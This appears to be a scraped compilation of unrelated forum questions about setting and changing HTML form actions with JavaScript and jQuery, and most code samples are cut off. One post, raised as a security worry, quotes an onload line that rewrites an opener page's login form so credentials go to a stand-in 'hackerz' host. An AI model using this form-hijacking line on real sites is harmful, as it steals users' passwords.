I have form/select which executes a function using onchange. No
problem. However, when I validate the page with a strict HTML 4.01
doctype at http://validator.w3.org, it demands either an action or a
method for the form?.
If I give it an empty action <form action="" ..... it validates OK. Is
this acceptable or is there a better/standards correct way?
I have come across a very interesting problem that seems to be impossible to solve. Basically a web application that I am working on relies on a JavaScript function called go to change the input named view to the page name and submit the form. This form's type is post, so no values are included in the actual URL string. There is also another input called action and it's value is view. This is to tell the application that the user would like to view a page. The problem is because of the variables being of method post, page refreshes and back and forwards return errors because the post variables view and action aren't sent with the required data. To somewhat solve this problem I have created a feature that tells the application that if the post value page is empty then to try and get a GET var called page. To insert this var into the go javascript function I simple add this code
document.go.action = document.go.action+"&page="+page;
This line basically adds &page=[page] to the action of the form. The problem is, this code doesn't work because action is also the name of a form element. Referencing document.go.action refers to the input element named action and not to the form's action. Changing the named of the action input value is out of the question (Way to much changing of code, and possible room for error). What can I do to change the action of the form without referencing the input named action. Here is my go form and the JavaScript code:
<form name="go" action"index.php?sid=123" method="post">
<input type="hidden" name="action" value="view" />
<input type="hidden" name="view" value="" />
</form>

I added mouse in and mouse out affect like this in $
(document).ready function
$(document).ready(function(){
....
$(".StripMe tr").mouseover(function(){
[Code].....
My question is if i used jquery post method to change some div content, than this new div won't have mouseover and mouseout affect anymore, is there anyway to achieve it. Is that needed to trigger ready function again? Another question is can anyone teach me how to add click and dblclick event to the same div, because if i add both of them then it won't trigger dblckick event.
I have a very weired problem (which is not easy to describe.. but I'll do my best):I have a html page with several forms , only one of the got the action="ComputeAndReturn" and the other forms got only name="" tag.the problem is that after i submit the form with the action , and than after a computatioon it returns to the original page, now... if i will submit any of the forms without the action=.they will act as if they were defined action="ComputeAndReturn" (altho they are not!)if they were defined from the first time with action="anything", and than i would submit the form with action="ComputeAndReturn" this problem would not appear (the other forms will keep their action="anything" and would not "imitate" the action= "Compute AndReturn" to them selfs...
any ideas how can i keep my forms without action="" , cause all i need them to do is be submitted to pass the submitted value to other form inside that page.[code]
I have used `jQuery.validator.addMethod` to create a custom validate method that will make sure there is at least one row in my data-entry table. Using Firebug, my breakpoint in the method isn't being hit at all. Am I missing something? Note: I am sure there are problems with the validation method itself, but that is because I can't debug it yet. I am still very much a novice with JavaScript.

On my portfolio site, I use the .append() method quite a bit, but I'm running into a problem with Validation.
[Code]...
But the validator is coming back saying that I can't use either the < > or p tags and my page won't validate. I've tried using the < and > alternative, but then the p tag isn't honored when appended to the #emptyDIV[URL]..
Using JQuery validation plugin, it will work in css, class='required", but I use method to validate, it will not work. The coding is below. It will skip the validation and go to server.
function saveNew(){
$("#my_form").validate({
errorLabelContainer: $("#RegisterErrors"),
rules: {
scope: { required: true }
},
messages: {scope: "scope is required" }
});
$("#my_form").submit();
}
<div id="RegisterErrors" style="display:none" ></div>
How can i validate x inputs with name array like init_date[] with this plugin [URL]
$('#form').validate({
rules: {
year:{required:true,number:true},
[code]...
In the new version of jquery.validate (1.5.3) there is an option to get a remote error message from the server for invalid elements. I did not find what should be the exact response from the server for producing such an error message. From the documentation: "The response is evaluated as JSON and must be true for valid elements, and can be any false, undefined or null for invalid elements, using the default message; or a string, eg. "That name is already taken, try peter123 instead" to display as the error message." But if i return a string, isn't it evaluated as true ?

Here is my sample code:
I have a form which needs posting the php script below. (I sent my vars to a
cookie, which I have read correctly). This is the form command used in
hoping to process my information.
<form method="POST" action="scripts/WebContractor.php" name="bizinfo"
id="bizinfo">
Since most of this is new to me, please let me ramble in my thought process.
1. post the vars to a cookie
2. post the form pointing to the php script
3. read the vars in the php script
4. send the info from within the script
When I submit my form, I receive a dialog box stating the downloading this
file can be dangerous. What happens is the php script is downloaded to my
desktop - not executed. Code:
I have a form with a name, and action, a post method.
In rare occasion I want the form action to be different to the default
action, so I do this: document.formName.action = "newURL";
This works fine under Mozilla, but does not work under IE5, 5.5 or 6,
it says: Object doesn't support this property or method.
Does anyone know what could be wrong?
When I run the following code, none of the set's are being done. Most important one for me is the action attribute.
<script type="text/javascript" language="JavaScript">
$().ready(function() {
var url = $("#aggurl").val();
alert(url);

I have a form with two <button> elements. One button loads the page with the associated form data whilst the other triggers a download. IE6/7 does not handle <button> tags correctly. IE6 will submit all buttons regardless of which you click and uses the button content as the value, instead of the value as the value. IE7 submits just the clicked button, but still submits the content as the value, not the value.
To get around IE's issues with <button> I use JS to manipulate the DOM so hidden input fields are generated with the correct value and the button names are removed so they're not submitted at all.
This works, except in my specific situation for my download button. Because it triggers a download, the page you are on remains, and remains with the manipulated DOM, which means the form doesn't work properly anymore.
I would like to know if there's a trigger of some sort that would allow me to revert the DOM changes when the form is submitted but the page remains. I hope that makes sense. Oh, and there's no need to suggest using <input type="button" /> instead of <button>. That's not a solution.
i have a css/div box, and i have a login form. what im tryn to do is make it so that when i login, it it takes whats in the action of the form and shows it in the div box. the div box is like one of those cool popup boxes, it's done by using javascript and css.
anyway, the div box works. the login form works. i just haven't been able to figure out how to get it to appear in the div instead of into a new page.
here's my code:
<head><link rel="stylesheet" type="text/css" href="main.css" />
<link rel="stylesheet" type="text/css" href="popup.css" /></head>
<form name="Login" method="post" action="login/check.php">
<table border="0" cellpadding="0" cellspacing="0">

I am trying to get a form value on an action page using JavaScript to alert the value.

<input type="text" name="city">
<input type="submit">

I want to change a form action url based on user input, and I used hyperlink to submit a form (since I have lots of rows like this and each has different values passed to javascript select_claim() function.). But it doesn't work! I have very simple php code here, but the it is the javascript problem.
HTML Code:
<form action="" method="post" name="smForm" id="smForm">
<table>

I'm having a bit of problem writing some javascript that will dynamically update the 'action' of a form when the form is submitted.
Its for an Image Upload script which performs a binary read on the uploaded image, meaning I have to POST the form, but must pass any additional parameters to the Image Upload script via the querystring.
Code:
My submitform() function needs to set the action of form5 to :
Code:
And submit the form.
I have a form, which has a <select> with three options.....
For each option I want to be able to set a different form action........
eg: if someone selects option 1, the form action goes to url1.html
or if someone selects option 2, the form goes to url2.html
How can I achieve this with javascript??
I want to change attribute action in form. Problem is that in that form
is also input with name action. Unfortunately renaming of that input is
worst case because many servlets depend on it.
This works in konqueror but not in IE and Mozilla:
newurl= document.forms[i].getAttribute('action');
newurl= newurl.replace('all/', prefix);
document.forms[i].action= newurl;
Do you have any idea how to modify attribute action in this case ?
Is it possible to change URL form action on submit form...
I have tried such code:
<script language="JavaScript" type="text/javascript">
function changeURL()
{

Let's say I have a login screen with a lots of advertisement (links).
One of those links is opened in a new window, and there is the following:
<body onload="opener.document.forms 0].action='http://www.hackerz.com/PasswordDatabase.php'">
After clicking the link and reading the advertisement, I go on "logging
in" on the first window. After I submit, the form data, username,
password and all is submitted to a third party..
How does one make a DIV visible if a form action is taken, such as a Radio button selected?
But here is the thing: this DIV that is to become visible and invisible upon radio clicked does not contain a simple short Text message, but instead this DIV contains many Images for selection. I mean I know how to turn on/off a DIV via Javascript command:
Code JavaScript:
But again this DIV is to contain many images and the inputs for selecting one of these images so that Javascript command will just not cut it.
alright I'm writing form which calls out a function F1 onsubmit but I want it to do that based on what the user answers to the last question on the form
this question has a yes/no answer, if the answer is yes, I want it to call F1 as it would and the function basically sends the form contents to two different places, if the answer was no, I want it to just submit it to one place.. Code:
I want to make a form run a php file, but only when I select an item from the listbox. I can't seem to find the info online but I thought u guys might know, below is what I have that doesn't do anything on selecting an item from the listbox Code:<select name="prodcategory" onchange="javascript: form.action='reportmanual_getcategoryproducts.php';">
